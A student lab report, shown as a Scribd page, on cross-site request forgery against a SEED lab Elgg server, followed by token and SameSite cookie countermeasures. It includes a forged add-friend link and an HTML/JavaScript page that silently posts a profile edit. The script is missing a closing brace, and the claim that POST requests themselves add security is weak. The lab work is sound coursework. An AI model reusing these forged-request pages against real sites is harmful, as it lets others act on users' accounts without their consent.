Scribd
Upload
31 views21 pages

Lab 8

This document appears to be a lab report submitted by students to their professor. It details three attacks they carried out on a school server (seed-server.com) to exploit vulnerabilities and three countermeasures tested. In attack 1, they added a user to another's friend list without consent by modifying HTTP requests. In attack 2, they edited another's profile without consent using forged POST requests. Attack 3 failed when CSRF token verification was enabled. Countermeasures tested were using CSRF tokens, modifying verification code, and same-site cookies to block cross-site requests. Screenshots show the attacks and countermeasures working as expected.

Uploaded by

Nidhi Patel
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
31 views21 pages

Lab 8

This document appears to be a lab report submitted by students to their professor. It details three attacks they carried out on a school server (seed-server.com) to exploit vulnerabilities and three countermeasures tested. In attack 1, they added a user to another's friend list without consent by modifying HTTP requests. In attack 2, they edited another's profile without consent using forged POST requests. Attack 3 failed when CSRF token verification was enabled. Countermeasures tested were using CSRF tokens, modifying verification code, and same-site cookies to block cross-site requests. Screenshots show the attacks and countermeasures working as expected.

Uploaded by

Nidhi Patel
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 21

Submited to: Dr.

Shaoquan Jiang

Submited By:
Harsh P Patel (110091547)
Mitesh Gabani (110090208)
Nidhi Patel (110089413)
Prachi Patel (110093162)

Networking and Data Security


Lab 8

1|Page
Adding these to hosts

10.9.0.5 www.seed-server.com

10.9.0.5 www.example32.com

10.9.0.105 www.atacker32.com

2|Page
3|Page
P1. In this problem, we will “help” Alice to add Samy to her friend list (without her consent). We will use
htp GET request to achieve. Follow the steps below.

1.(Observe HTTP GET request code) Use the method showed in class to watch the dynamic htp requests
(from HTTP Header Live).

4|Page
2.Login Samy to find out the guid of samy (look the page source and search for guid).

Answer: 59

5|Page
3.In Samy’s account, add friend Charlie and check HTTP Header Live to find out this add friend HTTP
request link. Modify this link as a link for adding Samy as a friend (ignore the correct values for __elgg_ts
and __elgg_token).

htp://www.seed-
server.com/ac�on/friends/add?friend=58&__elgg_ts=1689867396&__elgg_token=WtyMHaQRS_KMtk
6Mxh7dkw&__elgg_ts=1689867396&__elgg_token=WtyMHaQRS_KMtk6Mxh7dkw

6|Page
4.You go to your atacker’s document root (where the atacker website is hosted) on 10.9.0.105 (atacker
VM): /var/www/atacker. Use the method in class and the link in Step 3 to modify addfriend. Html

7|Page
5.In Samy’s account, send an atrac�ve message to alice including the link for addfriend.html (in Step 4).

8|Page
6.Logout Samy and Login Alice’s account and check one HTTP request. You should see the cookie item
like this: Cookie: Elgg=0vso36eo6imvd9olosvfr6dtp5. This will enable Alice to send any other HTTP
request (such as site update) securely (as atacker does not know this).
Cookie:
__gsas=ID=a6333c76be6695e4:T=1689096468:RT=1689096468:S=ALNI_Mb9bvQo_lbzt4tzm
u2Ce2hgKG0RXQ; pvisitor=88375337-98f3-4b37-84fb-cb31b801f403;
Elgg=7rm1onr104hr8d2ad9m8tu9en7

9|Page
7.Alice checks her message from Samy and click the link in the message. You should see that Samy is now
a friend of Alice. This is because the link is addfriend link and the cookie will automa�cally be added to
the HTTP request (check this on HTTP live).

10 | P a g e
11 | P a g e
P2. In this problem, we will “guide” Alice to automa�cally modify her profile that show Samy is hero
(without her consent). We use HTTP POST request to achieve this. Follow the steps below.

1.Profile upda�ng on Elgg is achieved through HTTP POST request. Through HTTP Header Live, check the
HTTP POST request for profile update. Login Samy’s account to check this. [Note: if you forge the
request, the informa�on you need to provide is POST command line and the content; others will be
provided by the browser. In our case, the content is the filled profile edit form.]

__elgg_token=TMm3U3PT63KqZYuAKzb6fA&__elgg_ts=1689869710&name=Alice&descripti
on=<p>just
testing the http header liver</p>
&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2
&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills
=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&acce
sslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=
2&twitter=&accesslevel[twitter]=2&guid=56

12 | P a g e
2. Construct a HTML program with JavaScript func�on to implement the submit buton of the above
profile edit form. Remember to revise the guid to be alice’s guid and change the brief descrip�on of
profile as “Samy is MY HERO” (or something else you prefer).

Alice’s guid=56

13 | P a g e
3. Copy your html program to /var/www/atacker/editprofile.html

<!DOCTYPE html>

<html>

<body>

<h1>This page forges an HTTP POST request</h1>

<buton onclick="forgeRequest()">Click Me!</buton>

<script>

func�on forgeRequest() {

var xhr = new XMLHtpRequest();

xhr.open("POST", 'htp://www.seed-server.com/ac�on/profile/edit', true);

// Send the proper header informa�on along with the request

xhr.setRequestHeader("Content-Type", "applica�on/x-www-form-urlencoded");

var params = 'guid=' + encodeURIComponent('56') +

'&descrip�on=' + encodeURIComponent('Samy is the BEST');

xhr.send(params);

</script>

</body>

</html>

14 | P a g e
4. Login Samy’s account and send an atrac�ve message to Alice including the link:
www.atacker32.com/editprofile.html

15 | P a g e
5. Login Alice’s account and check the message from Samy and click on the link. Then, you should
see that Alice’s profile is now changed.

16 | P a g e
P3. (Counter Measure: Secret Token) In this problem, we will study the counter measure for CSRF atack
using secret token.
• The secret token is a pair: �mestamp __elgg_ts and a security token __elgg_token. This pair has been
added to every form in the elgg site (that needs an ac�on). Normal HTTP request will also carry this
secret token to the seed-server.com server. It will be verified to preserve the security (our atacks in P1
and P2 succeed because the verifica�on is disabled). Check and copy a HTTP request from HTTP Header
Live to verify that this secret token is carried to the server. For example, here is a friend-remove htp
request:
htp://www.seed-
server.com/ac�on/friends/add?friend=58&__elgg_ts=1689867396&__elgg_token=WtyMHaQRS_KMtk
6Mxh7dkw&__elgg_ts=1689867396&__elgg_token=WtyMHaQRS_KMtk6Mxh7dkw

17 | P a g e
When a HTTP request (carrying this secret token pair) reaches the seed-server.com, it is eventually
verified by
vendor/elgg/elgg/engine/classes/Elgg/Security/Csrf.php
based on ts and token. The par�al code of verifica�on code is as follows:
The atacks in P1 and P2 are successful just because the verifica�on returns about running the
verifica�on code. Please comment out the colored return line. Then run the edit-profile atack in P2.
Verify that cookies is atached in the HTTP request but the secret token pair is not. So the verifica�on can
not pass. Provide the screen shot for this failed profile-edit.

18 | P a g e
19 | P a g e
P4 (counter measure: samesite cookie). Most browsers have now implemented a mechanism called
SameSite cookie, which is a property associated with cookies. When sending out requests, browsers will
check this property, and decide whether to atach the cookie in a cross-site request. A web applica�on
can set a cookie as SameSite if it does not want the cookie to be atached to cross-site requests.
To help students get an idea on how the SameSite cookies can help defend against CSTF atacks, we
have created a website called www.example32.com on 10.9.0.5 (address mapping should be on
/etc/hosts).
Once you have visited this website once, three cookies will be set on your browser, cookie-normal,
cookie-lax, and cookie-strict. As indicated by the name, the first cookie is just a normal one, the second
and third cookies are samesite cookies of two different types (Lax and Strict types). We have designed
two sets of experiments to see which cookies will be atached when you send an HTTP request back to
the server. Typically, all the cookies belonging to the server will be atached, but this is not the case if a
cookie is a samesite type.
Do the following experiments. I have put the same tes�ng.html on two different servers:
atacker32.com (link B) and example32.com (link A). Tes�ng.html has three different types of requests
to www.example32.com/showcookies.php which simply displays the cookies sent by the browser. By
looking at the display results, you can tell which cookies were sent by the browser. Please do the
following:
• Please describe what you see with the screen shots on the displayed pages and explain why some
cookies are not sent in certain scenarios.
• Please describe how you would use the SameSite cookie mechanism to help Elgg defend against CSRF
atacks. You only need to describe general ideas, and there is no need to implement them.

Answer:
The SameSite atribute serves to no�fy servers that certain cookies should not be included with cross-
site requests, thereby offering some level of protec�on against CSRF atacks. This atribute can assume
one of two forms:

Strict: The browser withholds the cookie from all cross-site requests.

Lax: The browser includes the cookie with top-level naviga�onal cross-site requests, but not with other
types of cross-site requests.

When requests are made from atacker32.com to example32.com, the cookies with the SameSite
atribute (cookie-lax and cookie-strict) are excluded since these are cross-site requests, and the SameSite
atribute is assigned either a Lax or Strict value.

However, for requests made from example32.com to example32.com, all cookies are included, as these
are same-site requests, and the SameSite atribute does not inhibit the inclusion of cookies.

In terms of applying this to Elgg:

Elgg can employ the SameSite atribute to defend against CSRF atacks by restric�ng the transmission of
certain cri�cal cookies with cross-site requests.

For crucial ac�ons on Elgg that could have nega�ve consequences if performed without the user's
awareness, such as profile modifica�ons or friend addi�ons, we can implement the 'SameSite' se�ng.
Se�ng this to 'Strict' for these key cookies prevents them from being sent if a user atempts an ac�on on
the site from a different site.

20 | P a g e
For any cri�cal ac�ons, it's recommended to use POST requests instead of GET requests. This is because
GET requests can be more easily exploited in CSRF atacks. POST requests add an extra security layer as
they require the atacker to possess deeper knowledge about the website's opera�ons.

For older browsers that may not support the SameSite atribute correctly, alterna�ve CSRF protec�on
methods such as CSRF tokens may be needed.

Relying solely on the SameSite atribute for protec�on against CSRF atacks is not advisable. Instead, a
combina�on of various security measures should be implemented, such as user input valida�on, safe
output encoding, and regular so�ware updates.

21 | P a g e

You might also like